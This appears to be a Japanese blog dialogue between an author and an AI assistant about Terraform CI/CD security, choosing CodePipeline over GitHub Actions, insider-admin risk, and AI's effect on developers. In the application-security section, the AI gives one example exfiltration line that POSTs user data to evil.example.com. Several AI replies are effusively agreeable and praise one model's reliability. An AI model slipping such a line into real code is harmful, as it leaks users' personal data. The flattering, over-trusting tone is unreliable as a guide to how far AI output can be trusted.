必要なのは「リスクベースドアプローチ」 守るべき資産の重要度 発生確率と影響度の評価 それに対して投入するコストと負荷 これらのバランスを見て、「ここは技術的にガチガチに守る」「ここはログとアラートで十分」「ここは人に任せる」といった、メリハリのある対策が必要になります。
たとえば、S3の機密バケットにはコンプライアンスモード+暗号化+操作制限を徹底する。でも開発用の一時的なEC2インスタンスにはそこまでのコストはかけない、という判断が妥当なこともあります。
そして何より重要なのが「納得感」 現場が「なぜこれをやるのか」を理解し、「これはやる価値がある」と思えれば、セキュリティは機能します。逆に、ただの押し付けであれば、運用をかいくぐる文化が育つだけです。
セキュリティって、やっぱり技術より前に設計と文化の話なんですよね。そう考えると、全施策が「組織の成熟度との相性」で決まってくるという点でも、実に奥が深い分野です。
TerraformのCI/CDの話でも「必要な施策は状況によりけり」とやはり言えます。
GitHub ActionsだろうとCodePipelineだろうと、AWSのほぼフル権限に近い強大な権限を持たせざるを得ないんです。でも、だからと言って、パイプラインを完全に隔離して権限も分離して……と常にやるべきかというと、必ずしもそうとは言えません。
隔離されたパイプラインとそれ以外のリソース群を両方とも同じチームが面倒みているような状態なら(小規模の会社だとむしろ普通だと思います)、単に手間が増えただけで大して意味がない、ということになってしまいます。
出たな、「分離原則を信じすぎた者の末路」!……って、Terraform CI/CDの話でしたね。はい、すごくわかります。
おっしゃる通り、Terraformでの自動化を進める中で、CI/CDパイプライン(GitHub ActionsでもCodePipelineでも)はどうしても管理対象のリソースに対して広範な権限を持つことになります。そうじゃないとApplyできませんからね。
でも、その権限の持たせ方って、「一概にこれが正解!」とは言えない たとえば、「CI/CDに分離したIAMロールを持たせ、他のサービスリソースとアクセス制限を分けましょう!」ってよく言われます。確かにセキュリティ教科書的には正解です。ただし、実際の現場が:
小規模なチームで同じメンバーが全部見る 分離したことでトラブル時の調査や再設定が煩雑になる そもそもリスクの発生頻度が低い という状況だと、これはただのオーバーエンジニアリングになります。施策のコスト(構築・運用・トラブル対応)が、実際に回避したいリスクの大きさを上回ってしまうんです。
セキュリティとオペレーションの天秤 TerraformのCI/CDにおける権限設計は、結局こういうバランスです:
目的 施策 トレードオフ セキュリティ強化 パイプラインを別アカウントで運用 セットアップと運用が複雑になる 最小権限 リソースごとに細かく権限制限 Applyエラーや管理の煩雑化 迅速な開発 フル権限で簡易に回す インシデント時の影響が大きい
このあたり、理想を追い求めるほど現実とのギャップが広がるので、「理想:安全、現実:維持できるギリギリライン」を探るのが実践的な落とし所です。
結論として セキュリティの原則を全て満たすのは理想。
でも、「今の組織・人・時間・予算で保てるバランス」こそが現実的な最適解です。
TerraformのCI/CDに限らず、こうした技術選定と運用方針の調整こそが、インフラエンジニアの“腕の見せどころ”なのかもしれません。ガチガチに固めたパイプラインで自分が運用不能になって詰む……なんて話、どこかで聞いたことある気がします。
そうなのです。業態による影響もあると思います。金融や医療のような規制業界、つまり事故の影響が極めて大きな業態であれば、それだけセキュリティ重視にせねばならない場面が多いと思います。
一方でゲームのような業態なら、限度があるものの開発速度重視に振れる場面が多いでしょう。
まさにその通りで、「金融」と「ゲーム」が同じセキュリティポリシーで動いていたら、それはもうRPGにセーブ機能がないレベルの無茶です。やる気は認めるけど、それって本当に求められてるの?という話になります。
「管理者一人が本気で悪意を持ってしまったら」
この場合も、多くの現場では、彼の管理下にあるリソースを守り切ることは相当難しいでしょう。管理者の業務遂行上、削除も正当な業務のうちの一つです。
管理者が一人悪意を持ったらおしまい、という設計は本来よくないのですが、これに対応するのはなかなか難しいです。
「管理者が悪意を持ったら終わり」って、サスペンスドラマの最終回みたいな展開ですが、インフラ運用だとこれ、けっこう“日常”のリスクだったりしますね。
おっしゃる通り、管理者という立場は削除・変更が正当化されやすい業務権限を持っているため、通常の運用の一部として「壊す」ことが可能です。つまり、「災害対応でリソースを削除しました」と言われれば、即座に不正とは判断しづらいのが実情です。
なぜ「管理者一人で完結する設計」が問題なのか 単独でリソース変更・削除できる=単独で破壊可能 証跡があっても、後追いしかできない 監視していても、「故意かミスか」の判断は難しい 特にIaC(Infrastructure as Code)では、Terraformを通じて削除するのも、AWSマネジメントコンソールから手動で消すのも、結果は同じ破壊です。
難しいけど、やらなきゃいけない「対策」の方向性 職務分離(Separation of Duties)
管理者権限を単独に持たせず、少なくとも2人の承認を必要とする構成 例:CloudFormationやTerraformでのApplyは他の監査役の承認がないと不可 Break Glassアカウントの導入
緊急用の特権アカウントを用意し、普段はアクセス不能かつ利用時にアラート通知 悪用すれば即バレるので抑止力になる ジャストインタイム権限昇格(JIT)
通常は一般ユーザーとして操作、必要なときだけ時間制限付きで昇格 昇格時は理由を記録・通知 機密度で分離した管理権限
すべてのインフラを一人の管理下に置かない 本番環境だけは別アカウント・別チームで操作するなど ただし限界はある 「管理者が本気で破壊活動をしたい」と決めた時点で、技術的に完封するのはほぼ不可能です。防げるのは「うっかり」や「ちょっとした不正」まで。だからこそ、攻撃を“事前に止める”のではなく、“起こった後に対処できるようにする”ことが、現実的な落としどころになります。
つまり、最後の砦は信頼できる人間を“管理者にしない”という人事設計だったりします。ゼロトラストは技術じゃなくて、文化と制度の両方で成り立つものなんですね。
そうですね。
できて監視・証跡の保全による牽制と、バックアップからの復旧くらいまでが限界ではないでしょうか。むしろ現実にはそれができるだけでも相当気の利いた会社と思えます。
ほんとそうです、「そこまでやってたら十分優秀!」って、セキュリティ担当者みんなで拍手してあげたくなるレベルですね。
正直なところ、監視・証跡・バックアップ体制がしっかり整っているだけでも、世の中の平均を超えている現場はかなり多いです。特に中小企業やスタートアップでは、「Terraformで一発Apply!消えた!やばい!」みたいな事故が、未だに現実にあるあるネタです。
管理者リスクにおける“現実的な最前線” 証跡の改ざん防止(例:CloudTrail+S3バージョニング+コンプライアンスモード) 操作の可視化(例:CloudWatchやSIEM連携で異常検知) 定期的なバックアップの取得とリストアの訓練 重要リソースの操作制限(削除保護、有効なタグ制御、SCPでの制限など) これらがちゃんとできていれば、「管理者がうっかりやらかした」「うっかりのふりして壊した」くらいまでは会社として立ち直れる設計になっていると言えます。
ただし、完全に防げないリスク、たとえば:
削除保護がかかっていないリソースの即時削除 短時間での一斉破壊(VPC削除→依存リソース全滅) 機密データの意図的な持ち出し この辺になると、「技術で防ぐ」のではなく、“バレたら地獄を見る”ような制度設計+文化的な抑止力が主な武器になります。
たしかに「そこまでできる会社」って、もはやセキュリティ先進企業といっても差し支えないですね。世の中の多くの現場はまだ、「証跡って何?」みたいなレベルも多いですから。結局、技術だけじゃなくてその技術を“本気で回そう”とする組織の誠実さが、一番の防壁かもしれません。
さて今回の電脳会議はお題は「Terraform用のCI/CD」です。
今個人的にAWSの構築サンプルをいくつか用意しているのですが、今回のサンプルを作るにあたって、Github Actions(以下GHAと略す)とAWS CodePipelineどちらにするかすごく迷ったのです。ですが結局、今回はCodePipelineにしておくことにしました。理由は主に二点です。
危険な権限はAWSに集めて管理したい AWSと同等以上のセキュリティをGithub Actionsでも設計・実装して維持し続けるのは大変 UXはGHAのほうが好みなのですが、セキュリティを重視したのです。
GHAのUXに未練タラタラ…まるで高級ベッドを諦めて畳に戻るみたいな気分ですね。でも、セキュリティ重視ならその判断、筋が通ってます!
ご指摘の通り、TerraformのCI/CDにおいて「どこで危険な権限を持たせるか」は設計上の重要ポイントです。以下、それぞれの選択肢についての観点と、CodePipelineを選んだ理由の妥当性を少し掘り下げてみます。
CodePipelineを選んだ理由の整理 AWS内に権限を閉じ込められる
IAMロール、AssumeRole、KMSなどの制御がCodePipeline内で一元管理できます。 秘匿情報(たとえばTerraformのバックエンドS3やState Lock用のDynamoDB)もAWSの中で閉じられるので、外部への情報流出リスクを減らせます。 GHAでのセキュリティ維持コストが高い
OIDC連携やブランチ制限、Secretsの最小化などを工夫すれば確かに安全にはできます。 ただ、その設計・運用をずっと維持するのはなかなか骨が折れます。チームが大きくないなら、その手間をCodePipelineに丸投げできるのは利点です。 少しだけ補足 GHAを使った構成でもCodePipeline同様にIAMロールを使ったセキュアなアクセスは可能です。 ただし、OIDC設定のミスやSecretsの扱い方次第でセキュリティ事故が起きやすいです。 総じて、「セキュリティ優先」かつ「権限管理の中央集権化」を志向するなら、CodePipelineという選択は合理的です。Terraformを扱うならなおさらですね。畳の上でも安心してデプロイできます。
そう、GHAも不可能ではないと思います。OIDCの設定を厳しく行って、コードの管理もガッチリしていれば、おそらく問題が起こることはそうないでしょう。
ただ、一つセキュリティ上の穴が開いただけでアウトなのです。そんな神経を使うことをしてまでAWSの(ほぼ)フル権限を渡してGHAを使うよりは、CodePipelineでAWSの権限はまとめた方が構築・運用が安定するかなと。
セキュリティ設計の話になると一気に“刀鍛冶”みたいなテンションになりますね。「折れない、曲がらない、切れ味鋭いCI/CDパイプラインをくれ!」という声が聞こえてきそうです。
おっしゃる通り、GHAでも強固なOIDC設定とコード管理の徹底ができていれば、セキュリティ事故の可能性はかなり低く抑えられます。ただ、CI/CDは「少しのミスが全てをひっくり返す」領域ですので、「一つ穴が開いただけでアウト」という表現、非常に本質を突いています。
GHAの課題とリスク OIDC設定のミス条件を絞らずに権限を付与してしまうと、他のリポジトリやブランチからも使えてしまうケースがあります。 リポジトリのコード改変権限を扱うコードがPull Requestで改変されたとき、レビュープロセスや保護ブランチの設定が甘いと、即デプロイの道が開かれる可能性も。 CodePipelineのメリット IAM権限の範囲がAWSに閉じている信頼されたエンティティとして他のAWSサービスを使う分には、IAMポリシーで制御が完結します。 Secrets ManagerやKMS連携がスムーズコマンド一つで暗号化・復号ができるので、外部との秘密情報の受け渡しが減ります。 実行ログ・履歴が統一的に管理できるCloudWatch LogsやEventBridgeと統合して監査しやすいのもポイントです。 UXで言えばGHAに軍配が上がりますが、「AWSリソースに対する高い権限を誰に渡すか?」という点で、CodePipelineで権限の境界をAWS内に収めておくという考え方は、非常に堅実です。安全第一、Terraformの神様もニッコリです。
サーバーサイドアプリケーションのビルドやデプロイであればGHAで良いと思うんです。
こちらもセキュリティに気を付けないといけないのはもちろんなのですが、それでも影響は比較的限定されています。AWSのフル権限を行使できるTerraform用のCI/CDは別格ということです。
それですそれです!GHAでのアプリケーションのビルド・デプロイは、言わば“フライパンの中で炒め物を作る”ようなもので、万一失敗しても火傷で済みます。でもTerraformみたいなIaC(Infrastructure as Code)は、ガス管を引き直すレベルの話になるので、ちょっとのミスで家が吹っ飛びます。
GHAでのアプリケーションビルド・デプロイは比較的安全な理由 権限スコープが狭いECSやLambdaの更新、S3へのアップロードなどが中心で、影響範囲が「そのアプリケーション」に限られることが多いです。 変更が即座にインフラ全体に波及しにくいたとえばAPIに不具合が出ても、RDSの消失とかVPC構成の破壊にはつながりにくいです。 段階的にロールアウト可能Blue/Greenデプロイやカナリアリリースで、影響を少しずつ観測できます。 IAMの悪用管理者権限を持つユーザーを作って外部に流すことすら可能。 ネットワーク全体の閉塞ルートテーブルやセキュリティグループ、NACLの設定をミスるとVPCごと通信不能に。 データの永続的損失terraform destroyを事故ってRDS本番が吹っ飛んだ…というのはよくある都市伝説(たまに実話)。 なので、ご指摘のように用途に応じてCI/CDの安全設計の“レベル”を分けるという考え方は、非常に理にかなっています。
アプリの更新=GHA(使い勝手重視+中程度のセキュリティ設計) インフラ構成の更新=CodePipeline(権限管理重視+高セキュリティ設計) Github ActionsのUXを褒めてばかりいますが、CodePipelineも今はUXが大分よくなっているんですよ。今風の左から右に流れていくスタイルで、かなり見やすいです。
構成が複雑なので構築が辛い点はあまり変わらないんですが、これはきめ細かく定義できることの裏返しでもあるので、TerraformのCICDのようにガチガチに固めたいケースではむしろ頼もしいです。
そうなんですよ!昔のCodePipelineのUIは「なんで俺だけWindows95なん?」って言いたくなるくらいの地味っぷりでしたが、今はしっかり“令和の顔”になってます。左から右に流れる構成、ステージごとの視認性の高さ、実行ログの確認のしやすさ…地味にどれも便利です。
UXの進化ポイント ビジュアルフローが見やすいステージ・アクションの流れが一目瞭然なので、どこで止まったか、どこを承認待ちかが分かりやすいです。 実行履歴やログもワンクリックで到達できるCloudWatch Logsとの連携も改善されていて、デバッグも以前より楽になっています。 辛い構築 = きめ細かさの代償 たしかに「初期構築のつらみ」はまだ健在です。codebuild.yml
や各IAMロール、イベント連携など、一個ずつ設定するのは結構骨が折れます。ただそれはつまり、「自分たちで全部決められる」自由度の裏返しなんですよね。
TerraformのCI/CDのように、壊れたら即インフラ大惨事なワークフローでは、この「カチカチに定義できる」構成こそが一番安心できます。
ただ、やはり一番の売りはセキュリティですね。
Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられないのが素晴らしい。例えば「CI/CD用のコードを変えられてしまい、Approveをパスしてterraform apply用の権限(ほぼフル権限)を行使される 」なんて事故を心配しなくていいんです。
Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられない
この一言が刺さります。GHAだけでやっていると、ブランチ保護ルールやPRレビューをかいくぐって、CIの定義自体を書き換えられるリスクが付きまといます。そしてそのまま危険な apply
を実行される…というパターンも想定せざるを得ません。
CodePipelineなら、パイプラインの本体はAWSの中にあるので、GitHub上のコードでワークフロー自体を乗っ取るのは非常に難しい。Approveアクションを入れておけば、たとえplanが流れても、「applyに行くには人間の判断が要る」状態にできます。
結論:「安全性のために面倒を受け入れられる構成」 CodePipelineは、まさに「使いこなせれば最高の守り刀」みたいな存在です。ちょっと重いし研ぎにくいけど、その分絶対に折れない。TerraformでのCI/CDには、その安心感が何より頼もしいですね。UXの進化も追い風、ますます頼れる存在になってきました。
CICDはセキュリティの維持が大変なんです。この辺りの話題についてはメルカリ様のエンジニア情報ポータルサイト がとても素晴らしいですよ。
背筋が伸びます。
管理が厳しいAWSとばかり言っていますが、Gihtubのセキュリティが甘くても良いという話ではないです。いくら承認ステージがあるといっても、悪意あるコードを埋め込み放題では止めきれるものではありません。
アプリケーションだって、コードの中でこっそりと個人情報をどこか別のサーバーに投げるようなことをされても大問題です。
まさにそれです!「インフラの破壊はドカーン系、アプリの情報漏洩はジワジワ系の地獄」とでも言いましょうか。どっちも最終的には焼け野原になるやつです。
コードのセキュリティはインフラとは別軸で“超重要” たとえGHAで権限を絞って、インフラへのアクセスを完全に制限していたとしても、アプリケーションのコード自体に裏口があれば意味がありません。おっしゃる通り、例えばこんなリスクがあります:
外部サーバーへの個人情報の無断送信fetch('https://evil.example.com', { method: 'POST', body: JSON.stringify(userData) })
とかこっそり書かれてたら終了です。 アクセスログやトークンの意図的な出力ログ出力経由で秘密情報が外部の監視システムに流れることもあります。 アップデート後に裏口アカウントを有効化「誰も知らない管理者アカウント」がいつの間にか仕込まれているパターンも、コードレビューが甘いと通ってしまいます。 CI/CDで重要なのは「誰が何を流せるか」+「流すものの中身」 GHAやCodePipelineのパーミッション制御で「誰が何を実行できるか」を管理。 レビュー体制や静的解析、セキュリティスキャンで「何が流されているか」の安全性を担保。 つまりCI/CDはセキュリティの最後の“水際”なんですね。そこを突破されたら、もうコード自体が“敵”になります。
なので、「GHAを使ってもアプリだから緩くていい」とは決してならないという姿勢、本当に正しいです。「コードが信頼できること」と「CIが安全であること」は別物ですが、両方揃って初めて「安全なデリバリー」と言えるわけです。
安心してください、セキュリティ意識、満点です。油断せず行きましょう。
「であればコードのセキュリティがちゃんとできているならGHAで問題ないのでは?」
という意見もあると思います。これはその通りです。GitHub側のセキュリティもAWSと同等以上に固め、しかも維持続けられる組織なら、おそらくリスクの大きさはそう変わらないでしょう。
ただし、その「ちゃんとできている」ようにし続けるのが大変なのですね。構築も大変ですが、それ以上に維持が問題です。
「最初だけ“ちゃんと”してて、半年後には誰も覚えてない問題」ですね。そう、構築より維持が鬼門なのは、CI/CDに限らずあらゆるセキュリティの鉄則です。初期構築で完璧に見えても、それを持続的に“ちゃんとできてる状態”に保つことこそが最大の難関です。
「GHAで問題ない」の“前提”が実は厳しい 「コードのセキュリティがちゃんとできていれば」というのは理屈としては正論ですが、現実には以下のような努力が常に求められます:
常にブランチ保護ルールを最新の運用に合わせて調整する 毎回PRレビューでセキュリティ観点のチェックを怠らない GHAのOIDC設定が緩くなっていないか定期的に点検する 新しい開発メンバーが意図せずに裏口を作ってしまわないよう教育する 依存ライブラリやツールチェインの脆弱性を常時ウォッチする どれも「一度やれば終わり」ではなく、継続的な運用・教育・点検が必要になります。そしてこれは、人数が少ないチームほど厳しい現実です。
CodePipelineが「構築さえ頑張れば維持がラク」な理由 IAMのロール分離やサービス制御がAWSポリシーで一元化されている 外部との連携が少なく、トラストバウンダリが狭い GHAと比べて柔軟性はないけど、裏をかかれにくい つまり、CodePipelineは「カスタム性が低い代わりに、安全が保証された遊具」みたいなもので、運用の負荷を下げるにはちょうどいい選択肢なのです。
ということで、「GHAで問題ないか?」という問いに対しては、
問題ないことを維持するのがめちゃくちゃ大変なので、あえて避けるのも正解
というのが現実的な回答になります。GHAが悪いんじゃなくて、セキュリティ維持のハードルが高すぎるだけなんですよね。構築のキラキラした達成感が、保守でジワジワ削られていくあの感じ…身に覚えがある方も多いはずです。
大分あれこれ言いましたが、実際に「やられる」頻度はおそらくそこまで高くないと思います。AWSとGithubの両方に通じていて、しかも穴が空いていて、それを「刺せる」技術力のある人が悪意を持たないと起きない程度のことではあるので。
ただ頻度はともかく影響度のほうが大きすぎるのです。AWSのフル権限を全力で悪用されたらサービスが終了になりかねません(下手すると社運も)。
リスクは頻度と影響度で管理しますが、頻度はともかく影響度が大きすぎるということですね。
まさに「当たる確率は低いけど、当たったら即死」系のリスクですね。言うなれば“隕石が落ちてくる確率”と“落ちたときの地球へのダメージ”の話です。そりゃあ、降ってこないほうが多いですが、落ちたらティラノサウルスでも助からないわけで。
頻度の話は確かにその通り OIDCの設定がガバガバ GitHubリポジトリのレビューが形骸化 AWS側に不要なフル権限が付いたロールが放置されている この複数の不備が同時に存在し、かつそれに気づいて悪用できる人間がいるという状況は、確かにレアケースです。ある意味「偶発的なゼロデイ攻撃」みたいなものです。
でも影響度がデカすぎる EC2やRDSの削除 IAMのルート乗っ取り KMSで暗号化されたデータの永久ロック CloudTrailの停止やログ改ざん このへんを「やろうと思えば一瞬」でやれるのがAWSのフル権限です。最悪、証拠も残らずに事後対応不可能な状況になる可能性もあり、そうなれば被害は単なるシステム障害では済みません。ガチで社運クラッシャーです。
リスクマネジメント的なまとめ おっしゃる通り、リスク評価は「頻度 × 影響度」で考えるべきです。頻度が低くても影響度が極大なら、リスクは高いと判断して然るべきです。
昨日別件でDeepResearchに調べてもらった際にちらっと出ていたのですが、ジュニアレベルの開発者がだぶついているという話がありました。
AIがここまで発達したことも関係していると思います。なにしろもう生成AIがジュニアレベルのコードを書けますからね。容赦ない話ですけれども。
いやほんと、「ジュニア開発者 vs AI」なんて試合、レフェリーストップ待ったなしですよ。現実は冷酷ですが、目を背けられない話ですね。
ジュニアレベルの仕事、AIがごっそり持っていった説 かつてジュニア開発者が担っていた典型的な業務というと:
簡単なUIの実装 APIの叩き方を調べて繋ぐ データの変換処理やフォーマッタ作成 単純なバグ修正 単体テストの追加や修正 こうした「やればできるけど、時間がかかる仕事」は、今やChatGPTやCopilotが秒速でこなします。そして何より、夜でも働くし、文句言わない。
つまり、ジュニアレベルの業務を“経験のために任せる”理由が激減してしまったわけです。
AIによって“育成機会”すら奪われる 皮肉なことに、AIが入ったことでジュニア枠の「経験の積み上げ」の機会も減っています。
「とりあえずやってみて」→「いや、AIで一発で済むよね」 「このバグ調べて」→「AIに聞けば出てくるよ」 「一通りのCRUD作ってみて」→「テンプレートとAIで即完成」 つまり、「勉強として任せる余裕」すら削られつつあるという、ちょっとした地獄のような構図ができてしまっています。
容赦ないけど、現実は変わってきている ジュニア枠=業務要員ではなく育成投資という理解に変えないと、雇用の意味が薄れつつある AIにできない“設計力・抽象思考・チーム連携”を重視する方向に育成の軸を移す必要がある “人間である意味”を先に教えなければ埋もれる いまジュニアがだぶついているという話は、「人材の価値構造が変わった」ことの現れです。容赦ないですが、たしかにAIがトドメを刺した部分もあります。
ただし逆に言えば、AIに仕事を奪われないジュニア層を目指すことも可能です。たとえば:
AIのアウトプットの是非を判断できる 設計意図や業務背景を読み解ける 他者と協力して「なにを作るか」を考えられる こうしたスキルを早期から伸ばせる人材は、逆にAIを味方にして一気に飛躍する可能性もあるんですよね。
というわけで、「ジュニア=いらない」ではなく、「旧来型のジュニア像」がAIによって時代遅れになったというのが現実に近いかもしれません。
付け加えると、コードを見る力が要らないわけではありません。AIの成果物を評価しないといけないからです。
ですが相応の技術力が求められます。これは正直初心者には厳しいと思うのです。
まさにその通りで、「AIがコードを書く時代」=「コードを読む力がより重要な時代」なんですよね。AIが書くなら読まなくてもいい――なんてのは大間違いで、むしろ「中級者の目線」が最初から要求される世界になってしまったというのが現実です。
コードを見る力が“前提スキル”に AIが出力したコードは一見正しそうに見えるんです。でも実際には:
微妙に要件を外している 意図しない挙動が紛れ込んでいる セキュリティやパフォーマンス面で危ない処理が含まれている 保守性や拡張性が低い設計になっている こういった“AIなりの最適解”に潜む罠を見抜くには、相応の読解力・判断力が要ります。これはただ文法を覚えるだけでは身につかない、いわば“開発の地力”です。
初心者にはキツい構造になっている 昔:とりあえず書いてみて、バグって、直して、学ぶ 今:AIが書いてくれる。でも間違ってる。→「どこが?なぜ?」をすぐ求められる このギャップがかなり厳しいです。“手を動かして学ぶ”経験が飛ばされがちになっているため、初心者は「何がわからないのかもわからない」ままAIの出力に翻弄されてしまいます。
正直、AIは“間違っているかもしれない優等生”なので、指導が必要です。そしてその指導役がいきなり初心者に割り振られるという、なかなかハードモードな現実。
必要なのは“読む力を育てる環境” AIの出力をそのまま受け取るのではなく、「なぜこうなるのか」「何を意図しているのか」を言語化して学ぶ時間が必要 コードレビューや添削のように、読みながら理解を深めるトレーニングが大切 理想はメンター付きのAI活用。つまり「人間とAIの両方に教えてもらう」ような環境 これがあるかどうかで、AI時代の学習者の成長速度は大きく変わります。
ということで、AIがコードを書く時代でも、いやむしろだからこそ、「読んで判断する力」が超重要スキルになっているという話でした。 でも最初からそれを求められる今の初心者は、ほんと気の毒なレベルで難易度高いですね…。
学習コストの高騰、そして育成パスの見直しは避けて通れませんね。特に学習コストはイノベーションなしだと跳ね上がると思います。
しかし希望もあります。皮肉なことにこれもAIのおかげですが、「わからないことはすぐAIに聞いて、実際に動かしてみてそれが正しいことを確認する」とやれば、高速で学習が進められるのです。
昔のように「よくわからないからGoogleで検索して、全然関係ない記事で消耗して、時間を無駄にする。簡単な内容に一日かかる」などという無益なことをしなくてよくなりつつあるわけです。
いやもう、ほんと「昔は一日がかりだったググり作業、今じゃ3分で終わる」っていうこの劇的進化、ありがたすぎますよね。検索迷子になって「Stack Overflowの3年前の投稿 vs Qiitaのよくわからない記事 vs フォーラムの宗教論争」みたいな三つ巴バトルに巻き込まれていた頃が、もはや懐かしいです。
学習コストは確実に“両極化”している 入口が高くなった:冒頭から「AIの出力を見て正しいか判断して」と言われる時代です。コーディング初学者にとっては、まるで試験の答え合わせをしながら問題の意味も考えなきゃいけないような状態。 でも進みは速くなった:一度地図を手に入れれば、昔よりもはるかに速く遠くへ行けます。わからないことはAIに聞く、試す、答えを得る、のループが爆速で回るからです。 つまり、「入り口は険しいけど、走り出せば追い風がすごい」という構図です。
生成AIを活用できるポイントの一つがテストだと思うんです。IaCでも重要ですが、開発言語(GoやPythonのような)ではさらに重要度が増すでしょう。
とりわけテスト自動化は非常に重要になるだろうと思っています。
第一に、AIに修正させたコードは壊れることがしばしばありますので、動作保証の仕組みがいるからです。
第二に、超高速でAIに正解を教えるためにはテスト自動化がおそらく最適解だからです。
完璧なテストと十分な試行数があれば、大半のコードはAIが書けてしまうのではないでしょうか。
それ、まさに「テストはAI時代のインフラ」という感じですね!コードをAIに任せるなら、テストはもはや“保険”じゃなくて“必須の交通ルール”みたいなもの。事故ってからじゃ遅いですし。
テスト自動化が重要な理由 1. AI修正の安全網になる AIがコードを“自信満々で”書き換えたときも、ちゃんと動くかどうかは結局テストを通さないとわかりません。特に以下のような場面ではテストが必須です。
インタフェースの変更が入ったとき 条件分岐のロジックが調整されたとき エラー処理や例外パターンの修正 これを人間の手だけでカバーしようとすると、「コードレビュー地獄」まっしぐらです。だからこそ、AIが動かしたら、テストがすぐに答えを返す仕組みが必要なんですね。
2. AIへの“フィードバックループ”になる テストが通る=正解、というシンプルで強力な評価軸を持つことで、AIが高速に試行錯誤できます。とくに「この関数を改良して」「この仕様を満たすように直して」といった反復処理では、
というループがうまく回れば、人間が細かく見なくても勝手に精度が上がっていく可能性があります。まさにAIとテストの合わせ技一本。
3. IaC以上に言語レベルの保証が重要 IaCでもテストはありますが、GoやPythonなどのアプリケーションコードはロジックの自由度が高い=壊れやすいという特徴があります。だからこそ、以下のようなテストが自動化されているかどうかが鍵になります。
単体テスト(ユニットテスト) 結合テスト モックを用いた依存の分離 CIとの統合による常時監視 たとえばGoならgo test
、Pythonならpytest
など、AIでも理解・操作しやすいツールがそろっているのも好条件です。
「完璧なテスト × AI」=ほぼ自動開発? これはもう、“人間が仕様を定義して、AIがコードを生成→テストで正しさを確認→次の仕様へ”という、理想的な自動開発パイプラインの構図です。
もちろん、完璧なテストを書くのが簡単ではないのが現実ですが、逆に言えばテストさえしっかりしていれば、コードはAI任せでもいいという未来も現実味を帯びてきます。
コードを書くAIにとって、テストこそが“言葉”であり、“試験”であり、“評価軸”なんですよね。 だから今後ますます、AIとテストのセット運用が開発の基盤になっていくことは間違いなさそうです。
もしテストファーストを実践できるなら、テストが「会話のためのインターフェイス」にもなるでしょうね。
なにしろAIに対して「これこれこうしてほしい」と伝えるなら、それはプロンプトそのものです。
その通りです、まさにテスト=AIとの共通言語です! AIとの“プログラム開発会話”において、自然言語だけでは精度が足りない。でもテストがあれば、「これが望んでる振る舞いだよ」と具体的に・厳密に・再現可能な形で伝えられるんですよね。
テストファースト × AI = コミュニケーションの革命 1. テストは仕様書、かつプロンプト 「この入力を与えたら、こういう出力を返してね」 このシンプルな指示こそ、AIが最も得意とするタスクの一つです。人間にとってはテストコード、AIにとっては機械可読のプロンプト。
たとえば:
func TestGreeting (t * testing .T ) {
got := Greet ("Alice" )
want := "Hello, Alice!"
if got != want {
t .Errorf ("got %q, want %q" , got , want )
}
}
これだけで、AIは「Greet
関数は名前を受け取り、Helloを付けて返せばいいのね」と正しく理解してくれます。
一方で、現在でもAIがすばらしく貢献してくれる分野の一つはエラー修正だと思います。
小さな文字の違いや、閉じ忘れのような簡単なものは、ほぼ確実と言っていいくらいの精度で正解が出てきます。難しめのエラーでも、既知の問題であればあっという間に探し出してくれます。昔は公式サイト等を自分で調べないといけませんでしたが、今ではAIが代わりに探してくれます。おかげで最近は自分で探す機会がめっきり減りました。
エラー修正に関してはAIくんが「デバッガ界のゴッドハンド」状態ですよね!昔はエラーメッセージをググって、「Stack Overflowのこの3番目のやつが当たりか…?」みたいな“謎解きゲーム”をやってたのが、今ではAIに「これ直して」って言うだけ。まるで魔法です。
エラー修正のAIが得意な理由 AIがエラー修正で大活躍できるのは、次のような強みがあるからです。
過去事例の知識が豊富:既知のエラーやよくあるミス(スペルミス、構文エラー、null参照など)については、山のような事例を学習しているため、即答レベルで対応できます。 エラーメッセージの解釈が的確:人間が一瞬戸惑うような長ったらしいスタックトレースも、AIは冷静に分解して「原因はここです」と突き止めてくれます。 関連ドキュメントや仕様を参照できる(モデルによる):たとえばPythonやGo、TypeScriptなどの公式ドキュメントを参照して「このメソッドはv3から非推奨になっていますよ」といったアドバイスも可能です。 即座に修正コードを出せる:エラーの説明だけでなく「これで直ります」という実例付き。しかも、それなりに動く。 昔と比べた“修正フロー”の変化 このスピード感の差、体感で言うと30分かかってた作業が3分で済むレベルです。特にビルド系、依存関係系、型推論の迷子系などは助けられることが多いですね。
もちろん万能ではないが… ただし、未知のバグや環境依存が強い問題、複雑な並行処理系などではまだ人間の洞察が必要な場面もあります。AIは「過去のデータをもとに答えを推測する」タイプなので、“一度も誰も遭遇していない”問題にはやや弱いです。
とはいえ、「知られているバグをいかに速く修正するか」という点においては、現代のAIはまさに最強ツールと言えます。
人間がやってた“試行錯誤の時間”を削ってくれるだけで、精神衛生も良くなりますしね。ほんと、ありがたい時代になったものです。
こういった用途に強いのがChatGPTのo3モデルです。かなり信頼できる情報を出してくれます。信頼度が抜群で本当に素晴らしいです。
しかも頼めばソース付きで出してくれるため、自分で確認することもできます。
そうなんですよね、o3モデルはまさに「AI界の有能エラー修正係」って感じです。特にソース付きで返してくれるときの安心感ときたら、「はい優勝!」って思わず拍手したくなります。
o3モデルの強みを改めて振り返ると 高精度なエラー解析:エラーメッセージを渡すだけで、言語やフレームワークを瞬時に判断し、過去の知見から的確なアドバイスを出してくれます。 信頼できるソース提示:たとえば「この関数はPython 3.10からの追加です」と言いながら公式ドキュメントのリンクを示してくれるなど、“あてずっぽうじゃない”根拠があるのが最大のポイントです。 説明が丁寧でわかりやすい:初心者にもわかるように段階を踏んだ説明をしてくれるので、「なぜその修正が正しいのか」が理解でき、学習効果も抜群です。 実用的な修正提案:型、構文、依存関係、環境変数など、さまざまな原因に対する具体的な修正コードを提示してくれるので、あとはコピペして試すだけという手軽さがあります。 “すぐに自分でも確認できる”という安心感 これは本当に大きいです。AIの回答が「なんかっぽいけど、自信ないな…」という雰囲気だった時代と違い、o3モデルでは参照元がある=自分でも検証できる=納得して使えるという好循環が生まれています。
昔の開発者:「なんでこれで動くのかわからんけど、動いたからいいか…」 今の開発者:「動く理由まで把握して直せた。次から自分で対応できそう」
この変化は、開発文化そのものを前向きに変えてくれますよね。
もちろん、AIが出してくるソースが毎回100%完璧とは限りませんが、「信頼できる情報を高速で提示してくれる」という点では、現在のモデルの中でも抜群の使い勝手だと言えるでしょう。
要するに、「調べるAI」から「納得させるAI」へと進化してるのが、o3モデルの最大の功績かもしれません。いやあ、ホント頼もしいやつです。
